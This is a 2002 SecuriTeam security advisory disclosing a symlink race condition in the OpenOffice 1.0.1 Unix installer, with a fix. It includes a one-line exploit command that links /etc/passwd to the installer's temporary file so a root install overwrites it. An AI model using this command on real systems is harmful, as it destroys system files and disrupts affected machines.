[UNIX] OpenOffice Race Condition during Installation
From: support@securiteam.comDate: 10/12/02
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From: support@securiteam.com To: list@securiteam.com Date: 12 Oct 2002 16:21:14 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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OpenOffice Race Condition during Installation
------------------------------------------------------------------------
SUMMARY
OpenOffice 1.0.1 Race condition during installation can overwrite system
files.
DETAILS
Vulnerable systems:
* OpenOffice version 1.0.1
A very simple and easy to exploit race condition exist during the
installation of OpenOffice. During this window a malicious user could
create a symlink in /tmp and overwrite arbitrary files.
Exploit:
As a normal user, run:
lwc $ ln -s /etc/passwd /tmp/$USERNAME_autoresponse.conf
Where $USERNAME is the installer account name (probably root). This will
result in the password file being over written with:
# create the proper autoresponse file
cat << EOF > /tmp/${USER}_autoresponse.conf
[ENVIRONMENT]
INSTALLATIONMODE=$installtype
INSTALLATIONTYPE=STANDARD
DESTINATIONPATH=$prefix/$oo_home
OUTERPATH=
LOGFILE=
LANGUAGELIST=<LANGUAGE>
[JAVA]
JavaSupport=preinstalled_or_none
EOF
Fix:
Create a directory under /tmp to work from with restrictive permissions.
ADDITIONAL INFORMATION
References:
<http://www.openoffice.org/dev_docs/source/1.0.1/index.html>
http://www.openoffice.org/dev_docs/source/1.0.1/index.html
The information has been provided by <mailto:lwc@vapid.ath.cx> Larry W.
Cashdollar.
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